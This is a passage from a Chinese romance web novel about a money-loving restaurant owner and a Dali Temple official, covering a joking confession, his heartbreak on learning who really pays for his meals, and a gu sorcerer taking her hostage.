系统没好气道:“出息!”
沈秋吟将那沓银票叠得规规矩矩,放入带锁的箱子里,小人得志般回道:“你管得着么!”
系统冒出一串电流声,像咬牙切齿的具象化,刚要说话,姜泊清就带着陆昭明踏进了楼里。
“哎哟喂,姜大人,您终于来了,二楼雅座早早就给您备下了,您请,您请!”
一看到他,她哪里还理会系统呀,立马从柜台里迎上来,将他身旁的陆昭明挤到了一边,脸笑得比花还灿烂,眼里都冒着光,跟看到财神爷似的。
可不就是财神爷么!
姜泊清的到来,让楼里的的收益爆增,简直是财神降临,来这撒钱,沈秋吟现在恨不得他早中晚都来,最好是住在楼里不走了,她都想好以后怎么供奉他了。
她浮夸的欢迎令姜泊清情不自禁笑了笑,莫名想起了去花楼办案时,站在门口招揽生意的老鸨,也是这般揽客。
“你笑什么?”她觉得这人越来越奇怪了,总是莫名其妙地笑。他以前都不这么样的,难道是冷脸多了,面部抽搐了?
沈秋吟怀疑真是这样,便盯着他的脸看,企图找出蛛丝马迹,说明他脸真是抽搐。
“没什么。”他自然不敢心中所想告诉她。
经过这么久的相处,他对她的性子也有所了解,若她知晓自己将她比作花楼揽客的老鸨,非追着他打一条街不可。
这姑娘,看着贪生怕死,但对权势可没有一点敬畏,根本不把他这个大理寺少卿放在眼里,可他好像……就喜欢她这般模样。
洒脱、随性、爱财却不贪财,每天都很开心,没有任何烦恼。
情感转变的猝不及防,令他心跳加快,一抹绯红自然而然的浮现在了脸上,仿佛被滚烫的火炙烤过一般。
他害怕被看出来,偷偷吸了一口气,平复情绪,可绯红更甚,脸颊也开始发热。
他怎么还脸红了?
沈秋吟注意到这点,刚要问,一旁的陆昭明开口了:“沈掌柜,你眼中是一点也没我是吧!咱就说,这地儿你踩得舒不舒服呀?”
嗯?
他的话让她丈二和尚摸不着头脑,不明所以,直到陆昭明动了动脚,她的腿也动了动,这才发现自己踩着了陆昭明的脚。
她就说怎么站着不舒服,原来是这样!
啊这!怎么好意思!
沈秋吟立马后退一步,尴尬地笑了笑:“我就说嘛!这地为啥突然硌脚了,原来如此!不好意思了陆大人。”
陆昭明抱着脚在一旁吃疼的呼气,听了她的话痛苦更甚。
听听,这叫什么话!换谁也忍不了!
“明明是你踩了我的脚,你还说我硌了你的脚!沈秋吟,你会不会说话?”
沈秋吟嘿嘿一笑,但态度十分诚恳道:“不好意思嘛陆大人,这样好不好,待会儿午餐给你打八折!”
八折!可以考虑!但要消火可不行!
陆昭明比了个手势:“七折!”
他别着脸,脸朝天,悠悠地说:“不然脚疼的厉害,只能站在这儿嚎一嗓子,就说你沈掌柜待客不周!”
这怎么行!
“好勒,”沈秋吟一口应道:“七折就七折,陆大人,您也快快往里边请。”
陆昭明堵在心里头的痛苦终于通畅了,姜泊清看着他俩,叹了口气,算了,简直没眼看。
他们进了二楼雅座,小二们将事先准备好的菜一一端了上来,沈秋吟站在一旁殷勤地为他们报菜,报完后,还狗腿般的说一句:“大人们吃好喝好,小的们就告退了。”
说完,也不等他们说话,带着小二们就出了包房。
到了门外,章丘叹道:“掌柜的现在对姜大人是越来越殷勤了。”
沈秋吟听了,直接给了他一个爆栗,章丘吃痛地“啊”了一声。
沈秋吟说道:“少在这里乱想!这可是财神爷,当然得殷勤了。”
毕竟!可送了那么多钱来!
啊哈哈哈!
章丘揉着自己的脑袋,十分懂事道:“是是是,掌柜的,我懂,我懂!”
他懂,他是真的懂,无非都是小情侣的把戏嘛!这谁能不懂?
沈秋吟下了二楼,又坐在柜台前,见了有客人就笑脸相迎,没客人就坐在那里一遍遍数钱。
初秋时节,虽然还带着夏日的余温,但也抵不住寒意的袭来。
一阵从窗户吹进来,陆昭明打了个哈欠,身子情不自禁地抖了抖,他放下筷子,起身关窗,正要将那能将楼中的画面都收入眼底的窗户合上时,姜泊清叫住了他。
说完后,他愣了愣,吃饭的动作有些不自然。
来楼里吃饭的这些日子,他总有意无意透过这扇窗,看着下面忙活的姑娘。
她也不是日日都数钱的,有时候或思考、或笑,明明是简单的动作,却总能将他吸引,让他眼里都是她。
姜泊清一出声,陆昭明一下子就懂了,他不但没合上窗,还将原本只开了点点缝隙的窗完完全全推开,而后顺着姜泊清的目光落在楼底下数钱的小娘子身上。
“可真是郎有情……”
他话还没说完,姜泊清的眼神就来了,可陆昭明并没有识趣地闭上嘴,继续打趣道:“难怪这天天往百膳楼里跑,原来是这里有佳人勾住了泊清这个君子呀!”
姜泊清没说话,夹了一块大骨头放在他的碗里,陆昭明秒懂,他的意思是——闭上你的嘴!
好好好!不说就不说!看你俩成了,我以后怎么在沈秋吟面前上眼药。
让陆昭明彻底闭嘴是不可能的,他是个话唠子,期间一直自言自语,姜泊清被他弄烦了,道:“别说话了,快吃,最近那几个杀人案有头绪了,是西域来的蛊师摄人心魄杀人。”
一听案子,陆昭明来劲儿了,干饭的速度也提了上去,三口当作两口,没一会儿就吃完了
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,然后一溜烟冲下楼付钱。
“结账!”
一听这声儿,沈秋吟立马站起来,“陆大人您这顿饭一共三十文钱,刚才说了打七折,所以收您二十一文。”
陆昭明从腰间取下银钱,数了二十一文给她,转头看向姜泊清:“要不要我一并给了?”
都不等姜泊清说话,沈秋吟就道:“不用!”
“为什么?”陆昭明奇怪。
沈秋吟笑道:“因为姜大人是我们这里的贵客,他来吃饭,我们从来不收钱滴。”
陆昭明一听这话,不乐意了:“我和他同为大理寺的官,他不收钱,我收钱?他是贵客,我就不是贵客了?”
沈秋吟露出标准的八颗牙笑脸道:“您是客。”
行行行!
气死他算了!
陆昭明暴走百膳楼。
他出去后,姜泊清问道:“真的因为我是贵客,才不收钱?”
这么久,他也有这个疑惑,为什么沈秋吟从来不收他的饭钱?
那肯定不是呢!
还不是因为上次让他被老爷子打了,满身伤痕,她因为心生愧疚,所以给他免费送了一个月饭,后来老爷子不知怎的,日日替他续费,所以直到现在还没收他饭钱。
不过老爷子让她瞒着他,沈秋吟自然不能如实相告,只能随便挑些话将他搪塞过去。幸好,他每回也信了。
“沈掌柜。”见她久不说话,姜泊清唤道。
沈秋吟端着笑,继续搪塞他:“当然是因为您是我们的贵客了呀!你想想,咱们是什么关系。那可是好几次上公堂的关系,就凭这,我怎么好意思收你钱嘛!”
她话音刚落,姜泊清就拆穿了她,直直地说:“沈秋吟,你在说谎。”
他常年查案,把人的表情研究得十分透彻,只要看一眼就知道有没有说谎。
“我怎么会说谎呢……”沈秋吟不自在了,别过头,不敢直视他的双眼。
姜泊清追问道:“究竟是为什么不收我钱?”
“你别问嘛!我不能说!”沈秋吟小声嘀咕。
拿人钱财,替人办事,怎么能言而无信嘛!
姜泊清没听清,皱着眉头道:“什么?”
沈秋吟回道:“没什么!姜大人,你看陆大人都走远了,你还不去追么?就这么抛下他怕不好吧!你看,这办公的时辰也要到了,快回大理寺吧,别迟了,被扣俸禄。”
她仍打着哈哈,想将姜泊清就这么打发掉。
偏姜泊清打破砂锅要问到底,不说实话就不走。
沈秋吟向来是个言而有信的人,既然答应了姜老爷子不告诉姜泊清,那必然是不会说的。
可她不说,姜泊清就不走,这就棘手了。
她该怎么办?
“沈秋吟,说实话!不准骗我。”姜泊清说道,声音里含着一点情绪。
沈秋吟心一横,转过身道:“姜大人想听什么实话?”
“为什么不收我钱?”
“当然是……”她顿了一下,而后抛出一个眉眼,用娇媚的声音道,“我喜欢姜大人呀!”
22. 并非喜欢
百膳楼打烊后,沈秋吟拖着疲惫的身体躺在榻子上,望着天上的繁星,时不时傻笑。
系统看着这傻啦吧唧的宿主,忍不住揶揄道:“咱就说别笑了!这脸都要笑烂了哦!”
“我就要笑!你管我?”她笑得更厉害,像是故意同它作对。
系统哼哼唧唧两声,像是打抱不平似的:“不久前还要将人家赶走,现在就笑上了!果然,女人都善变!”
“善变?谁善变了!笑和赶他走又不冲突,”沈秋吟坐直身子,双手撑着头望着天上皎洁的明月,咧嘴笑道,“你是不知道姜泊清有多搞笑,我说完喜欢他后,他那张脸红得跟熟透的虾米一样,走的时候差点还摔了一跤。”
系统:“你不想想自己说了什么话,换个男人也会这样。”
“不!其他男人不会,只有姜泊清会。”沈秋吟肯定道。
“哟,这就维护上了。还说不喜欢人家,口是心非。”系统打趣道。
“你还是闭嘴吧。”
这边沈秋吟笑着进入了梦乡,那边姜泊清却怎么也睡不着,脑子里翻来覆去都是那句话——
“当然是,我喜欢姜大人呀。”
他初初听到这句话时,差点呼吸一窒,等了好一会儿才反应过来,才知晓她说了句在他心里有多么惊天动地的话。
她说喜欢他,他心跳蓦地加快,扑通扑通,一声又一声,他能清楚地听见。
可她大胆而直白的告白却让他不敢直视,顶着一张比关公还红的脸,丢下一句“沈秋吟,羞死人了”,便仓皇离开,走时脚迈低了,被门槛拦住,还差点摔了下去。
姜泊清觉着自己丢脸极了,简直没眼看。
而如今想来,也更觉尴尬,恨不得将自己埋进地里,让一抔黄土就这样埋了。
沈秋吟呀,沈秋吟……真是好一个沈秋吟!
姜泊清也不知道自己最后是怎么睡着的,但醒来已经是日上三竿,阳光在窗台上漫步,时不时跳跃一下。
他刚坐直身子,陆昭明就来敲门了。
他本还在迷糊中,可陆昭明的话却让他瞬间清醒。
他说:“泊清,快点,百膳楼吃饭!”
百膳楼呀!他……他不敢去,他还不知道怎么面对沈秋吟,他也还没想好如何回应她的话。
她是姑娘,表白这事本应该由他来,如今她先说之于口,他想回应得隆重一点,才能配上她的热烈。
久久没得到姜泊清的回应,陆昭明疑惑道:“怎么了?咋不说话?”
姜泊清这才道:“你去吧,我昨夜没睡好,想再睡会儿,便不去了。”
陆昭明听了,也不再唤他,嘱咐他好好休息后,便自己去百膳楼用饭。
沈秋吟瞧见陆昭明一个人来,便知道姜泊清是被吓到了。
“早知道就换个理由了。”她闷闷不乐对系统说。
系统道:“换个理由可没这么好打发了。”
“是这样的,”她叹了口气,顿了一会儿又开朗起来,“不管了,老天自有安排!”
哈哈!她一向看得开,若是姜泊清以后都不来了,她就把钱退给姜老头子。
又过了几天,姜泊清仍是没来百膳楼用饭,说不失落是假的,她每每望着长街,总希望他能站在那里,而后她笑吟吟地将他迎进来,时不时拍他两句马屁。
他会说她油嘴滑舌,她会厚着脸皮说都是真情实意。
每每到这儿,他都会笑一笑。
如今想来,从前似乎都是这样过来的,她好像成了习惯,他忽然不来,她开始难受了,那种感觉,就像被羽毛轻扰,痒痒的,可自己却抓不住羽毛,只能由着它继续轻轻地触动,带来一片痒意。
唉……难受。
见她情绪低落,系统难得做个人,好心安慰道:“宿主,听说情绪影响财运!”
它话音刚落,下一秒沈秋吟就振作起来:“老娘很开心!财神快快来!”
果然是个贪财且怕死的女人呀!
除了沈秋吟失落外,陆昭明也失落起来,因为少了姜泊清这个个饭搭子。
他近来饭搭子总不爱出门,一有时间就把自己关在屋里,不知道在弄个什么。
起初陆昭明以为是自己话太多,姜泊清不爱听他唠叨,嫌他烦了,后来发现,事情好像没那么简单。
他陆昭明玉树临风、仪表堂堂、花见花开、人见人爱,怎么会惹到姜泊清呢!肯定不是因为自己,他才不爱出门的。
事实上,还真是这样!
那一日,阳光大好,陆昭明实在无聊,使了蛮劲儿闯入他的房间,入眼是一地的木屑,而檀木桌上放着的几枝乌木簪子。
这样式,女人戴的!
陆昭明瞪大了眼睛,过了好久才回神,问道:“你这是做什么?”
姜泊清一边刨木,一边说:“做簪子。”
陆昭明拿起一枝,细细地看,每枝簪子雕刻的样式都不同,有桃花、梅花等等,似乎对应着每个季节所开的花。
如此用心,送给谁不用多说。
想到这点,陆昭明来了兴趣,赶忙凑到姜泊清身边道:“你这是……要表明心意了?”
姜泊清点点头,蓦然又想起沈秋吟那句话——
“当然是,我喜欢姜大人呀。”
我去!
真表白!
陆昭明激动地跳起来:“啊!姜泊清,你小子终于开窍了!”
他生出了终于把自家猪养大了,可以拱别人家的白菜之感,内心别提有多么汹涌澎湃了。
“你准备怎么做?”他接着问。
“不告诉你!”
陆昭明嘴上没把门,没一会儿就传得整个大理寺都知道,他不会说的。
“别嘛!”陆昭明道。
这么大的瓜,他必须吃到。
这可是姜泊清二十年,头一次碰到喜欢的姑娘,他怎么能放过,如何能放过?
“我不会说的。”姜泊清又重复了一遍,表明决心。
“泊清!”陆昭明继续道。
“想都别想!”甭管怎么叫,他都不会说。
陆昭明勾搭着姜泊清的肩,“姜大人……求求了!”
“不可能。”
两人不知拉扯了多久,最后姜泊清还是败给了这撵都撵不走的狗皮膏药,迫不得已说了出来。
“明天晚上,城里有灯会,我想约她看花灯。”
烟火画桥,游人如织,蓦然回首,那人就在灯火阑珊处,想想都美。
陆昭明发出了赞叹之声,连连夸他。
姜泊清不理他,继续做着手中的簪子。
为什么想送簪子给她?
他想到了第一次见她,她乌黑的秀发被风吹拂,在她身后翻飞,可他觉得她头上差了什么,后来想了好久,想到了,差了簪子。
她秀发浓密,插簪子肯定好看,他想。
第二日姜泊清仍是没和陆昭明去百膳楼用饭,倒不是因为不敢,而是在忙西域蛊师杀人的案子。
陆昭明害怕自己憋不住话,将姜泊清要做的事情说出去,便在去百膳楼的路上随便找了个小摊,点了一碗云吞吃。
可这云吞没吃几口,他就放下了勺子,倒不是吃饱了,是嘴被百膳楼养叼了,吃惯了楼里的东西,再吃其它,总感觉少了些味道,没那么让人惊艳。
最终,陆昭明有
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些闷闷地回到大理寺。
快傍晚的时候,百膳楼又迎来了新一波生意,好久未下厨的沈秋吟如今正在厨房里忙碌。
她一连做了好几道菜,没有丝毫要停下的意思,令众人察觉到不对。
有人偷偷问章丘:“掌柜的怎么了?”
章丘摇摇头说:“我也不知道。”
“你怎么能不知道呢!掌柜的平日最宠你了!”
章丘无奈道:“具体原因我真不知道!但我猜测和姜大人有关。”
他这句话点醒了众人,他们这才发现,姜泊清已经好久没有到楼里用膳了。
“难怪这些日子中午的生意淡了许多,掌柜的也不坐在柜台数钱了,原来是姜大人没来。”有人说着。
有人附和道:“谁说不是呢!”
有人小声对章丘说:“你快去安慰安慰掌柜的。”
章丘赶忙摇头:“我可不敢。上次我说掌柜的是不是思春了,可被她打得鼻青脸肿。要去你们去,反正不去。”
“那……还是放任自流吧!”
废话!谁也不想讨打!
日落西山时,一名小二进了后厨,对沈秋吟道:“掌柜的,前堂有人找你。”
沈秋吟颠着勺回道:“谁呀?”
“姜老爷子!”
姜爷爷!他怎么来了?
沈秋吟连忙放下手中的东西,让一旁的厨子接手,去往前堂。
前堂里,姜老爷子喝着茶,沈秋吟奇怪道:“姜爷爷,都这个点了,您怎么来了?”
姜老爷子说:“我明日要进宫去,所以今天进城来,本来早早就该来了,但路上耽搁了,因此这个点才到。”
“那您吃饭了没?”
“还没呢!就等着在你这儿吃上一口!”他说着,还不经意舔了舔唇,像是在期待等会儿的美味。
“好勒,姜爷爷您先等着,我这就去做。晚上不易消化,吃清淡点行吗?”
“你说了算。”
沈秋吟刚迈步去后厨,姜雁又叫住她:“差点忘了,这是才收好的草药,一并拿去。”
“好!”收到草药,沈秋吟喜笑颜开,赶忙让人抬进去。
没一会儿,沈秋吟做好了菜,装进托盘,端出去。
姜雁闻到了一股咸香,他深深吸了吸鼻子,霎时激发出了最深层的饿意,肚子更是咕噜咕噜叫起来。
他老脸一红,有些尴尬。
沈秋吟微微湾了弯嘴角,想着,他脸红的样子和姜泊清倒是一模一样,不愧是亲祖孙。
沈秋吟把餐摆好,姜雁吃了起来,他虽然饿,但吃饭还是慢条斯理,很有教养,并没有狼吞虎咽,时不时和沈秋吟说上两句话。
天黑完时,姜雁吃饱喝足,放下碗筷,打了个饱嗝,谢了沈秋吟的招待。
他正要背着竹篓走时,忽然想起了姜泊清的饭钱,便又折了回去,找到沈秋吟。
“泊清的饭钱快完了,我来给他续上。”他拿了一张银票给沈秋吟。
沈秋吟不收,“姜大人最近都未到楼里吃饭,银子还剩着呢。”
“他没来吃饭?为什么?”
不应该呀!这小子不是最喜欢吃沈秋吟做得饭菜了吗?怎么会不来吃。
沈秋吟自然知道为什么,但不敢如实说,便摇摇头,表示自己也不知道。
姜雁都不在濮阳城,自然更不知晓为何,即使心有疑惑,也不纠结。
“先存着,反正他也会常来。”他仍将银票递给沈秋吟。
沈秋吟正要推辞,这时却响起一道声音,他说——
“所以,不收我的钱,不是因为我是贵客,也不是……”因为喜欢我。
23. 心都碎了
他的声音在平静的夜里恍若一道响雷,一下子炸醒了沉默,也扰乱了沈秋吟的心。
“你,你怎么来了?”没来由地慌乱使她连话也说不清楚了。
他,他听了多少?会不会以为自己是在耍他?
可她本意并非这样的。只是为了让他别在追问下去,所以开了这个玩笑。
但玩笑本就要双方都笑了,才能称之为玩笑。姜泊清,他生气了。
害怕、不安、内疚忽然席卷全身,沈秋吟手都在抖。
在黑夜里,姜泊清嘲讽似的勾了勾嘴角,将手中的檀木盒藏在身后,装作若无其事走了进来。
“刚来,正好看见老爷子给你塞钱,”说到这里,他顿了一下,话音一转,“我就说你怎么不收我钱,原来是另外有人给你了。”
其实早应该明白了的。她这么爱钱的一个人,怎么可能不收钱呢?
只是,凡事都有例外,他以为,自己就是那个不同。
可事实并非如此,他不是她的例外,也并非她的偏爱,那些他以为的不同,不过是背后有人替他付钱。
这一刻,姜泊清觉得自己的心都要碎了。
“姜……”沈秋吟想说些什么,张了张嘴,却说不出来,话哽在喉咙,哽得生痛。
早知道,就不说那话了,可世上没有后悔药,但她更怕的是事后弥补也没用。
姜老爷子敏感地察觉到不对,问道:“你这是怎么了?”
姜泊清故作轻松回:“我还想问您怎么了?好好的给我订什么餐呀,订了餐也不告诉我!怎么,想我偷偷发现,然后感动地哭一场?”
姜雁稍稍别过脸,有些不自在道:“我可没有。还,还不是上次打了你,想补偿你嘛!”
“那为什么不告诉我?”
“自然是怕你生气不接受,才不敢告诉你。”
“我是那种人吗?”
“你要不是,”姜雁缓缓说,“从前惹你生气,老头子买东西跟你道歉,你哪回不是把东西扔在一旁,看都不看一眼?”
他这孙子,他最了解,倔得很,要自己过了那段情绪,才会变好。因此他才不敢说自己给他订了百膳楼的餐,就怕他生气不吃。
原,原来如此。
姜泊清一下明白了,却叹原是自己种下的果。
他握紧了手,似是只有这样,才能抑制住心疼,他想叹口气,却不敢做出太大的动作,努力隐忍着。
他一遍一遍在心里念叨,爷爷呀爷爷,他的亲爷爷,若是早点告诉他真相,何至于此,何至于此。
藏在衣袖的檀木盒子已经被他的手捏到了最紧,可他还觉不够,只因为心痛难忍。
场面忽然尴尬,谁也没说话,良久,姜泊清开口道:“沈掌柜,我一日未食,想来一碗清汤面,不知你还愿做否?”
他话音方落,她马上道:“好!你等着我。”
她入了后厨,不一会儿端上一碗阳春面。
酱色的汤汁裹着泛黄的面条,深绿的葱花洒在面上,恰到好处做了点缀,让这碗面有了亮色。
浓郁的香味在鼻息间萦绕,若换做平时,姜泊清定会深深吸一口气,可今晚的他,委实没有心情。
沈秋吟将面放在他面前,姜泊清客气地道谢。
她听了这话,欲言又止。
“我……我是不是错了。”她对系统说道。
系统答:“真亦假时假亦真,或许不破不立,破而后立呢?”
系统的话很高深,沈秋吟听不懂,若是从前,她还琢磨几下,但现在没那个心情。
她想同姜泊清解释,却开不了口。
大堂里安静,只有他吃面的声音。
这安静令沈秋吟不安加剧,她好像在失去什么。
他不该是这样的!
从前他吃了她做的东西,总会很享受的闭眼,他也不会说谢谢,这样的改变使她焦躁。
良久,沈秋吟忍不了这样的安静,打破了沉默,她问:“姜泊清,你觉得好吃吗?”
姜泊清努力扯出一个笑容,回道:“好吃。”
的确好吃,汤汁鲜美,面条劲道,刚出锅,还带着暖意,可他心碎了,再热的东西经过心房,也变成了冷的。
他真的觉得好冷,明明还不是冬天,为什么就这么冷呢?
姜雁觉得他有些奇怪,担忧道:“泊清,是出什么事了吗?你今晚……状态不对!”
姜泊清掩藏住自己的情绪,“爷爷,我就是办了一天的案,累了,所以状态不好。”
“真的?”姜雁不太信。
姜泊清笑了一下,“我还会骗你不成?”
姜雁想也不想就答:“不会,你小子要是会撒谎,猪崽都能上树。”
可这次,姜泊清真的骗了他,撒了人生第一个谎。
夜深了,连月亮也躲进了云里,姜雁回将军府,和姜泊清不是一条道,便先走了,姜泊清慢他一步。
他浑浑噩噩走出百膳楼不久,便被人叫住,回头一看,是沈秋吟。
她小跑过来,停在他的面前,朱唇轻后,喘着气,一会儿后,才道:“姜……大人,对不起,上次……”
不待她说完,姜泊清就打断了她的话,“上次呀!我知道你在开玩笑,并未放在心上。沈掌柜不要有压力。”
天知道他要多么克制心里那一阵一阵的抽搐,才能平静的说出这样的话。
也幸好,这光影遮住了他的面容,让她无法看清他的情绪。
沈秋吟呀沈秋吟,终归是我会错了意。
可他却不想醒来,好想将错就错呀。
只是,强扭的瓜不甜,女子这一生,要寻的,应是自己喜欢的人。
“真的吗?”沈秋吟不信,“你都不来百膳楼用饭了?”
她知道他生气了,她想弥补,却无从下手。
姜泊清握紧背在身后的手,用最温和的语气道:“那是因为我忙着查案,没时间来。沈掌柜不要多想。”
真是这样吗?沈秋吟仍是不信的。
她犹犹豫豫、吞吞吐吐,心里有许多话要说,可话到嘴边,一个字也吐不出来,仿若哑了一般。
见她久不言语,姜泊清道:“天色已晚,沈掌柜快回吧,泊清也回了。”
他说罢就转身要走,沈秋吟连忙伸手拉住他的袖子,问道:“姜……姜大人,你明天来百膳楼用饭吗?”
姜泊清死死掐住自己颤抖地手,答道:“不来。”
这一刻,沈秋吟仿佛听见了破裂声。
是什么呢?
好像是……她的心!
一声鸡鸣仿若一支箭划破了长空,东方渐亮,浓云滚动,金辉逐渐落下,灰白的天空亮了起来,逐渐带上了一点蓝。
陆昭明兴致勃勃推开姜泊清的屋门,却见一片残骸,酒杯在地上打滚,酒壶正倒在桌上,酒水顺着桌沿滴在地面,嗒嗒作响,而姜泊清烂醉如泥。
这?
陆昭明赶忙将他扶起来,姜泊清挣扎着不愿,嘴里还呢喃着喝酒、喝酒,似是有化不开的万般愁绪。
陆昭明“哎哟”一声,急道:“还喝什么酒呀?都醉成这样了!”
姜泊清推
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了他一把,“你不管。我就要喝!”
说罢,他又拿起桌子倒着的酒壶往自己嘴里灌,陆昭明连忙抢过,问道:“你这是怎么了?”
姜泊清可不是会借酒浇愁的人。
莫非……?
他继续道:“沈掌柜拒绝了你?”
不应当呀?他们明明郎有情、妾有意,怎会这般?
陆昭明想不明白。
姜泊清却大笑起来,喃喃道:“我根本就不是什么贵客,她也不喜欢我,就是玩笑……只是玩笑,可我却当真了……,沈秋吟,我却当真了!”
此话一出,令陆昭明一愣,消化了片刻,才回过神,问道:“所以……你是失败了……?”
姜泊清笑着摇头,“不……,是根本没能说出口……!”
他以为他们是两情相悦,却不过是他一个人的单相思。幸好幸好,他听见了那些话,没有将爱意宣之于口,不然就为难了她。
想着想着,姜泊清竟然落下了两行清泪。
陆昭明看见了那泪光,为之一颤,这还是他第一次见姜泊清落泪,为了一个女人。姜家,果然出情种呀!
姜泊清瘫倒在了地上,还想要酒,陆昭明不给他,将他扶去床上。
他睁开眼,望着屋顶,泪水还在滴落,浑浊的目光在这一刻变得格外清醒,他说:“昭明,我体会到了什么叫心碎。”
陆昭明听了这话,深深地叹了口气,只觉情之一字害人不浅,却又不知该如何劝他放宽心。
到最后,他只能道:“泊清,会好的。”
姜泊清缓缓地摇了摇头,他知道,不会好了。
可怜的姜泊清,活了二十几年,头一次心动,便以失败告终。
深秋的第一阵风来了,吹落了杨树仅有的几片叶子。
近些日子,百膳楼的生意十分好,可沈秋吟却心不在焉,屡屡站在柜台发神,连收钱时也不带笑脸。
这可与从前的沈秋吟大相径庭,小二们纷纷奇怪,掌柜的这是怎么了?
莫非是失恋了?
要是失恋了就简单了,也不会折磨人,只消蒙着被子睡个几天几夜就能走出来。毕竟,男人那有钱重要。钱才是生活的动力。
可偏偏沈秋吟不是失恋。纠缠她的是一种奇怪的情绪,她说不出来,也感悟不出来,就觉得心里闷闷地,堵得慌,甚至让她有些喘不过气来。
系统见她这般消落,哄道:“宝儿,坏情绪会影响财运哦!”
以往听到这样的话,她都会笑起来免得被影响财运,但今日她没什么太大反应,甚至说:“影响就影响吧,钱财这种东西,生不带来,死不带去的。”
这让系统不知如何是好,想了半天词,憋出了一句:“额……宿主,你平时可不是这么说的!”
这还是它记忆中那个视财如命的女人吗?
沈秋吟没说话,双手撑着下巴,一双满是灵气的眼此刻黯淡无光,愣愣的,不知看向何处。
系统无法做到与宿主感同身受,但它通过她的神情,能看出她的难过,便不在扰她,消失在她脑海里。
不知愣了多久,沈秋吟离了柜台,去院子里溜达。
她注意不集中,走着走着,差点撞在了杨树上,但幸好马儿叫了一声,使她回了神,这才避免了一场悲剧的发生。
沈秋吟回过头,看着马厩里的薄情,蓦然想到,第一次见姜泊清时的乌龙。
薄情!泊清!
她叫薄情闭嘴,走出了泊情。
他说:“谁在叫我?”
她答:“我在叫马。”
24. 就这么倒霉?
濮阳城近来气氛低压,大街上见不了几个行人,好多酒楼还没到晚上便早早关上了门。
百膳楼里的小二也怪兮兮的,十分不经吓,嘴里还常念叨着:“菩萨保佑,菩萨保佑,妖魔鬼怪快离开。”
沈秋吟丈二和尚摸不着头脑,这些人怎么了?撞鬼了?
章丘谨慎地看了看周遭,神神叨叨解释道:“掌柜的,还真是见鬼了!”
一提到这儿,沈秋吟后背一凉,整个人都颤了颤。
她立马抱紧身子,抖着声说:“我,我胆子小……你可别骗我哈!”
不光如此,她八字也小,镇不住鬼!
章丘认真道:“掌柜的,还真没骗你。不过这鬼也不算真正意义上的鬼,而是西域蛊师控蛊杀人。”
不是真正意义上的鬼?
沈秋吟不懂了,问道:“什么意思?你说明白点。”
章丘颤巍巍说:“掌柜的,我不敢。”
他也怕得要死。
“我有办法让你不怕。”沈秋吟神兮兮地笑了笑。
章丘好奇道:“什么办法?”
“不讲扣你工钱!”
话音才落,章丘便换了副面孔:“掌柜的,我讲!”
笑话!人可以被吓死,但万不能被穷死。他章丘还要存钱娶媳妇呢,是绝不可能让沈秋吟这个财迷扣钱。
只见刚才还怕得要死的章丘端起一杯水,喝了一大口,清了清嗓子,将故事娓娓道来。
故事的开始是半年前郊外相隔甚远的几个农户家里的男丁都在半夜上吊而死。
家人发现他们时,人都吓傻了,连滚带爬,跑去报官。
官府里的人听了这事,赶忙带着仵作查验尸体。
仵作查验完后,没发现蹊跷的地方,死者们也的确是上吊而死。但若真是这样,有许多细节又说不过去。
比如,这些死者都是二十几岁,正值壮年,家世尚可,也没经历过忐忑,为何会上吊而亡呢?且为何他们会在相隔甚远的地方,同一时间上吊?
这个案子,疑点重重,地方官破不了,便移交大理寺。
大理寺的官都是办案的好手,接手没几天就发现了新的东西。
那些尸体上除了绳索的勒痕外还发现了虫咬的印记,且尸体虽然面目狰狞,但嘴角向上,似在微笑。这些足以说明,上吊只是在掩藏真正的死因。
后经大理寺逐一排查,总算锁定了嫌疑人乃是西域蛊师,而那些男丁们在相隔甚远的地方同一时间上吊,乃是蛊师控蛊而为。
沈秋吟听完事情始末,心尖拔凉拔凉的,弱弱地问:“那蛊师抓住了吗?”
说到这里,章丘面露难色:“本来是要抓住了的,但给他跑了,如今还窝藏在濮阳城里。”
“什么叫本来要抓住了?”沈秋吟不理解,“这等恶人不应该立刻逮捕吗?”
一想到那恶人可能还在为非作歹,她就全身发麻,生怕一不小心就狗命不保。
章丘解释道:“那天大理寺的人已经围了他的老窝,可这蛊师阴险狡诈,挟持了陆大人,姜大人没办法,只能放他走……”
“姜大人?姜泊清!这事儿归姜泊清管?”
“对!”章丘点点头。
“这事归他管?那他有没有事?”沈秋吟忧心起来。
这可是她的财神爷,可千万不能有事。她在心里默默道。
章丘答道:“姜大人武艺高强,怎会有事。掌柜的还是关心一下自己吧!那蛊虫又细又小,一个不留神就得钻进身体里……”
说到这里,章丘头皮浑身都凉飕飕的,忙道:“阿弥陀佛,阿弥陀佛,菩萨保佑,小的一生良善,从未作恶,让那些蛊虫去找坏人,可千万别找上我呀。”
沈秋吟给了他一个爆栗,“你堂堂一个大男人,怕这做甚?”
章丘摸着挨打的地方,轻轻揉了揉,问道:“掌柜的,你不怕?”
“怕呀!”沈秋吟说得理直气壮。
章丘不服道:“那你还打我!”
真是太可恶了!
“我打你是因为你念得我心烦。”沈秋吟解释说。
好吧!章丘闭上了嘴,他忘了,自姜泊清不再来百膳楼用饭后,掌柜的就变得喜怒无常,通常是一点就燃,莫名其妙就逮着人怼。
他还是识时务者为俊杰得好。
小二们的神叨叨并未传染给沈秋吟,但这西域蛊师控蛊杀人的事传得沸沸扬扬,自然令人生了害怕。
为了照顾离家远的小二,沈秋吟便提早了关门的时间,尽量让他们在白日能赶到家中。
一些离家近的小二们担忧沈秋吟一个孤女不安全,便自发守着百膳楼,护起她的安危来。
沈秋吟看着那些拿着木棍,守在门口的小二们热泪盈眶,摸着眼泪说:“上天待我不薄的。”
无论在现代还是古代,她都是孤女。但比现代好的是,她有一群愿意陪伴她的伙伴。
有友如此,是她之幸。
章丘见她哭鼻子了,忙哄着:“掌柜的不是胆大得很嘛,怎么还哭鼻子了,这事儿若传出去,可得让人笑话了。”
沈秋吟别过头,抹干眼泪,带着哭腔说:“谁说我害怕了?就算那西域蛊师站在我面前我也……”
她话音未落,便听得一阵破门而入的声音,着一身红衣,身形高大的男人便冲了进来,一把掐住了她的脖颈,将她放置身前。
小二们见这阵仗,吓晕了过去,独留沈秋吟傻愣在原处,心想着,我去,没这么倒霉吧!
可偏偏……就这么倒霉。
人人避之的西域控蛊师就这样出现在了她的面前,拿着匕首,架在了她的脖颈之上。
都不待沈秋吟反应,下一秒,一群官兵也冲了起来,火光之下,姜泊清跑了进来,急道:“格桑,放开她!”
见到了他,沈秋吟如见亲人一般,忙叫道:“姜泊清救我!”
她好不容易活下来,还不想死呀!
呜呜呜!她还有一堆银票没花呢!能不能让她活下去。
她话音刚落,架在她脖颈处的匕首,又离她的皮肤近了一步。
